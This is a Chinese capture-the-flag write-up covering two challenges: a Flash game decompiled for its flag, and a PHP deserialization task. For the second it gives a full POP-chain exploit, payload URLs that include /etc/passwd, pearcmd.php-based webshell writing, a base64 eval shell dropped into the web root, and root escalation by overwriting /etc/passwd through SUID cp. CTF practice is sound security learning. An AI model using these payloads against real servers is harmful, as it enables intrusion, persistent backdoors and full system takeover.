2023年磐石行动第九周

1、MISC-闯入魔塔的魔法少女

题目下载后发现是一个swf文件,这就是flash文件

用flash player打开之后发现是一个游戏
在这里插入图片描述
从网上搜到可以用JPEXS Free Flash Decompiler进行反编译,然后通过文本查找搜到关键字flag
在这里插入图片描述
然后将P-code资源全部内容复制出来发现flag

在这里插入图片描述
得到flag如下:

DASCTF{23dvkjzr3juboiavztbncaxftfpyq5gz}

2、WEB-FunnyP0P

得到题目源码如下:

 <?php
error_reporting(0);
highlight_file(__FILE__);

class printStr{
    public $Obj3;
    public function ComeOn(){
        var_dump("You are not master!");
    }
    public function __call($func,$arg){
        echo 'You said :'.$func;
        unset($this -> Obj3 -> name);
    }
    public function __invoke(){
        echo "I wants two girlfriends";
    }
}

class toStr{
    public $Obj2;
    public function ComeOn($name){
        $this -> Obj2 -> $name();
    }
    public function __invoke(){
        echo "I wants two girlfriends";
    }
}

class Welcome{
    public $yourName;
    public $Obj1;
    public function ComeOn(){
        echo "Come On!".$this -> yourName;
    }
    public function __destruct(){
        $this -> Obj1 -> ComeOn($this -> yourName);
    }
}

class incFileEnd{
    private $name;
    public $key;
    public function __unset($name){
        echo $this -> name." ,You Are Excellent!";
    }
    public function __toString(){
        if($array[++$this -> key] = 1 && !preg_match("/f*l*a*g|log|put|zilb|data|file/i", $_GET['file'])){
            if($array[] = 1){
                return "Failed...";
            }else{
                include($_GET['file']);
                return "Win!";
            }
        }else{
            return "Failed...";
        }
    }
}

$ctf = $_GET['exp'];
if(!preg_match('/name/i',$ctf)){ //16进制绕过
    unserialize($ctf);
}else{
    die('Hacker!');
} 

首先构造pop链:

利用率如下:

Welcome __destruct函数
ToStr ComeOn函数
PrintStr __call函数
incFileEnd __unset
incFileEnd __toString

构造exp如下:

其中php 数组溢出

if($array[++$c]=1){
	if($array[]=1){
		echo "nonono";
	}
	else{
		require_once 'flag.php';
		echo $flag;
	}
}

为了让这个执行结果失败,同时 a r r a y [ + + array[++ array[++c]=1需要这个成功,那么就需要复制之后到底数组边界,再次复制报错返回false

$array[]=1

此语句正常赋值时,返回结果一定是为 1 的,要想跳出这个判断语句,必须让它赋值出问题。

查阅资料后发现:

作为PHP最重要的数据类型HashTable其key值是有一定的范围的,如果设置的key值过大就会出现溢出的问题,临界点是9223372036854775807这个数字。

解决此题只需要给 $c 赋值 9223372036854775806,那么就能跳出语句判断。

<?php

class printStr{
    public $Obj3;
    public function ComeOn(){
        var_dump("You are not master!");
    }
    public function __call($func,$arg){
        echo 'You said :'.$func;
        unset($this -> Obj3 -> name);
    }
    public function __invoke(){
        echo "I wants two girlfriends";
    }
}

class toStr{
    public $Obj2;
    public function ComeOn($name){
        $this -> Obj2 -> $name();
    }
    public function __invoke(){
        echo "I wants two girlfriends";
    }
}

class Welcome{
    public $yourName;
    public $Obj1;
    public function ComeOn(){
        echo "Come On!".$this -> yourName;
    }
    public function __destruct(){
        $this -> Obj1 -> ComeOn($this -> yourName);
    }
}

class incFileEnd{
    private $name;
    public $key;
    public function __construct(){
        $this->name = &$this;
        $this->key = 9223372036854775806;
    }
    public function __unset($name){
        echo $this -> name." ,You Are Excellent!";
    }
    public function __toString(){
        var_dump($this->key);
        if($array[++$this -> key] = 1){//
            if($array[] = 1){
                return "Failed...";
            }else{
                include($_GET['file']);
                return "Win!";
            }
        }else{
            return "Failed...";
        }
    }
}

$welcome = new Welcome;
$tostr = new toStr;
$printstr = new printStr;
$incfileend = new incFileEnd();
$welcome->Obj1 = $tostr;
$welcome->yourName = 'name';
$tostr->Obj2 = $printstr;
$printstr->Obj3 = $incfileend;

echo str_replace(chr(0),'%00',serialize($welcome));
#为了绕过name,将a用16进制表示,需要将小写s替换为大写S
#key的值需要为int,如果序列化表示d,需要修改为i,并将数值进行修改
/*O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}*/

payload1如下:

http://80.endpoint-561987c7b2614a92a212d80bd5449fa3.m.ins.cloud.dasctf.com:81/?exp=O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}&file=/etc/passwd

在这里插入图片描述
不过文件包含这个地方绕不过,暂时卡住了,后来发现可以通过pearcmd.php方式进行文件包含getshell,但是这个姿势需要以下条件

1.安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以
利用了)
2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)
3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)
4.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。

然后先测试以下是不是能够包含pearcmd.php
在这里插入图片描述

出现告警发现可以包含pearcmd.php,那么尝试通过pearcmd写入一个shell文件

网上的payload如下:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

根据网上payload构造自己的payload,这里面有两个需要注意的地方,第一个是需要维持网上的这种结构,如果还需要添加其他参数,需要放到+/tmp/test.php这个目录前面去,如下面这样,同时还需要注意将url编码的<>改回原样,防止写入的shell无法识别:

http://80.endpoint-561987c7b2614a92a212d80bd5449fa3.m.ins.cloud.dasctf.com:81/?+config-create+/&exp=O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[1]);?>+/tmp/zy.php

写入文件成功

在这里插入图片描述
进行文件包含利用webshell
在这里插入图片描述
然后通过命令执行在/var/www/html/下面写入shell方便后面的操作

http://80.endpoint-561987c7b2614a92a212d80bd5449fa3.m.ins.cloud.dasctf.com:81/?exp=O:7:"Welcome":2:{S:8:"yourN\61me";S:4:"n\61me";s:4:"Obj1";O:5:"toStr":1:{s:4:"Obj2";O:8:"printStr":1:{s:4:"Obj3";O:10:"incFileEnd":2:{S:16:"%00incFileEnd%00n\61me";r:5;s:3:"key";i:9223372036854775806;}}}}&file=/tmp/zy1.php

POST:
1=system("echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==|base64 -d>/var/www/html/shell1.php");

写入shell成功,并可以执行,然后通过蚁剑进行连接

然后发现根目录的flag文件需要root权限才可以读取,然后就行提权的问题,

find / -perm -u+s -type f 2>/dev/null

然后发现cp和su都具备suid提取问题,第一种方案可以通过cp将/etc/passwd进行覆盖,然后通过su切换到root账户
在这里插入图片描述
通过opnessl生成密码,openssl passwd -1 -salt hack pass123
在这里插入图片描述
然后将/etc/passwd copy出来并下载到本地,在最后一行添加一个hack账户,然后构造出一个hack的root用户,然后就可以su登录上去了。

在这里插入图片描述
还有一种将文件拷贝到标准输出流中,就可以在屏幕中看到flag

在这里插入图片描述

执行命令cp /flag /dev/stdout

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值